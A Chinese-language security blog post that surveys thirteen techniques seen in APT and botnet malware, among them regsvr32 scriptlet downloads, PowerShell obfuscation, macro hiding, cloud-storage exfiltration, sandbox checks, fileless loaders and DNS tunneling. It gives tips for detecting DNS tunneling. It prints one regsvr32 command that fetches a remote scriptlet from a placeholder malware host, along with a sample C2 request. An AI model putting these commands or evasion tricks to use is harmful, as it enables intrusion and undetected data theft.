• 13個 APT C&C殭屍病毒主要運用的技術與防偵測技巧

    Image result for C&C virus

    這篇文章主要分析2017主要整理APT與C&C殭屍病毒真實個案中

    運用的一些技術與防偵測技巧, 包含下列議題:

    • PowerShell 已經慢慢成為病毒執行與下載的主要工具之一,
    • 許多開源PowerShell 範例可用來注入攻擊, 下載, 上傳秘密文件等
    • regsvr32.exe也被運用成為 downloader
    • 逃避偵測的方式透過 GoogleDrive, DNS tunnel, fileless downloader, PS混碼, Office文件, Registry Key儲存

    常見APT C&C病毒感染過程

    • 使用者收到郵件下載 office 文件並且開啟
    • Office 文件執行透過漏洞或是巨集執行 Script
    • 該Script 下載額外的病毒碼
    • 病毒碼執行搜尋其他電腦或是有利資訊
    • 病毒碼種植以便下次重開機得以執行
    • 命毒碼執行並且透過 DNS tunnel 與殭屍網路連線
     一個真實的案例如下:
     

    病毒技巧1. :  利用regsvr32.exe 下載 SCT  ( Windows Script Component )

    這個技巧主要是透過 WORD 中的巨集腳本執行下列指令

    指令: regsvr32.exe /u /s /i:http://<malware>/malware.sct

    這個指令利用 regsvr32.exe 下載遠端的 SCT


     

    病毒技巧2. : 利用 WScript 執行powerShell

    這個技巧主要運用 WSScript 來執行 PowerShell 腳本

     

    技巧3: 不需要powershell.exe執行權限也可以執行PowerSell

    由於 PowerShell 執行需要權限, 因此開源工具 PowerShdll提供 EXE 與DLL 模式,

    如此一來主要佈署該工具 PowerShdll 就可以執行 PS

    但是缺點是該工具的下載就很容易被防毒軟體偵測

    技巧4: 擷取Windows 密碼

    如何竊取電腦密碼呢? 參考這兩個開源程式範例

    技巧5: PowerSell 攻擊武器庫

     隨著 PowerShell 的廣泛使用, 開始有各式各樣的 PS 攻擊武器庫範例程式
    包含後門, 注入攻擊, 防毒逃逸, WORD後門執行, Downloader, 鍵盤側錄等等

    技巧6: PowerSell 混碼

    PowerShell 程式碼加以編碼後就更不容易被解讀分析或是被防毒偵測到
    如何將 PowerShell 程式碼”編碼” , 可以參考這個開源工具

    技巧7 : Office文件逃避程式碼偵測方式

    許多程式的執行都是透過 office 文件的巨集,  但是該程式碼很容易被防毒軟體分析
    因此黑客運用的小技巧
    1. 將程式碼包裝在 TextBox 的Form中
    2. 用密碼保護文件中的巨集程式macro,
    如此一來就難以用常用的 OLETools分析工具分析 office 中的程式碼
    結合上述綜合技巧, 一個完美的攻擊就誕生了,
    一個結合 WORD 文件執行 regsvr 下載額外的 PS 腳本, PowerShell 繼續執行其他惡意行為
    參考下圖

    技巧8 : 利用GoogleDrive or DropBox來儲存偷走資訊

    由於 HTTP訪問這些雲儲存網站不容易被防火牆或是威脅分析警示

    因此黑客運用這些雲儲存網站儲存病毒設定檔, 或是將竊取的資訊往上傳至這些網站

     

    技巧9: 隨機或是加密過的 HTTP 參數

    受感染的電腦如何與遠端殭屍電腦溝通呢?

    舉例來說: 透過 HTTP 加密過的參數或是 cookie 進行溝通

    GET /X4iBJjp/MtD1xyoJMQ.htm HTTP/1.1
    Cookie: uHa5=kXFGd3JqQHMfnMbi9mFZAJHCGja0ZLs%3D;KQ=yt%2Fe(omitted)
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: [user agent]
    Host: [host name]
    Connection: Keep-Alive
    Cache-Control: no-cache

     技巧9 : 反病毒偵測檢查

    病毒為了逃避防毒軟體的偵測, 會在下列情況下不執行或是再下載後延遲600秒後執行
    • 檢查 Debugger 是否存在
    • 檢查是否執行在虛擬機環境, 避免被沙箱環境偵測
    • 檢查 ProcessExplorer是否執行
    • 檢查WireShark 工具是否正在執行, 避免網路溝通封包被截取

    技巧 10 : 利用  free web hosting sites

    越來越多的病毒透過 Web Hosting 服務來執行病毒
    由於這些 Web hosting 服務註冊比較容易, 管理稽核也比較鬆散,
    因此黑客用來架設殭屍病毒主機
    可透過 whoIS 或是 PassiveTotal 的方式觀察該 Web註冊歷史紀錄是否經常變換

    技巧11 Reflective DLL Injection

    參考
    https://github.com/stephenfewer/ReflectiveDLLInjection
    https://attack.mitre.org/wiki/Technique/T1055#Detection
     https://www.aldeid.com/wiki/Category:Digital-Forensics/Rootkits/User-mode-Rootkits
    http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html

    技巧12: 不留檔案的 Downloader

    下列這張圖說明當受害者收到郵件打開文件之後, 接下來該病毒如何與遠端電腦下載並且溝通

    透過下列技巧盡量不在受害者電腦留下檔案, 以避免防毒偵測

    • 方法一: 將PowerShell code 儲存在 registry key 中
    • 方法二: 透過 regsvr32 下載COM scriptlet
    • 方法三:透過 JavaScript 下載Cobalt Strike Beacon
    Office 文件中定義巨集, 該巨集為透過 regsvr32.exe 下載惡意程式碼 (f0921-6.sct) 範例
    透過 WSCript 執行 PowerShell 惡意程式碼範例

    真實個案如下圖:

    參考
    Cobalt Strike, PowerSploit and Nishang.

     技巧13  DNS Tunneling

    透過 DNS Protocol 傳輸殭屍網路的指令, 並且將病毒DNS指向 Google and OpenDNS DNS servers

    將指令傳輸隱藏在該傳輸中

     

    DNS tunel 有哪些工具技術可以利用?

    Image result for DNS Tunneling

    由於 DNS Query 為 google or openDNS因此無法單存藉由DNS 訪問目的地偵測

    這類的DNS Tunnel攻擊方式必須額外靠智能分析的方式, 例如

    • 每次DNS 查詢是否超過 64字元, 殭屍網路的DNS 查詢相對會比較大
    • DNS TXT 數量
    • DNS訪問中, 對於特定來源的訪問題, 這必須靠 SIEM 將所有的DNS 訪問比對統計分析
    • DNSTrap 分析 LLD 也就是 DNS 訪問 Domain 的字元關係

    https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152

    Posted by Tony @ 6:35 pm

  • Leave a Reply

    Your email address will not be published.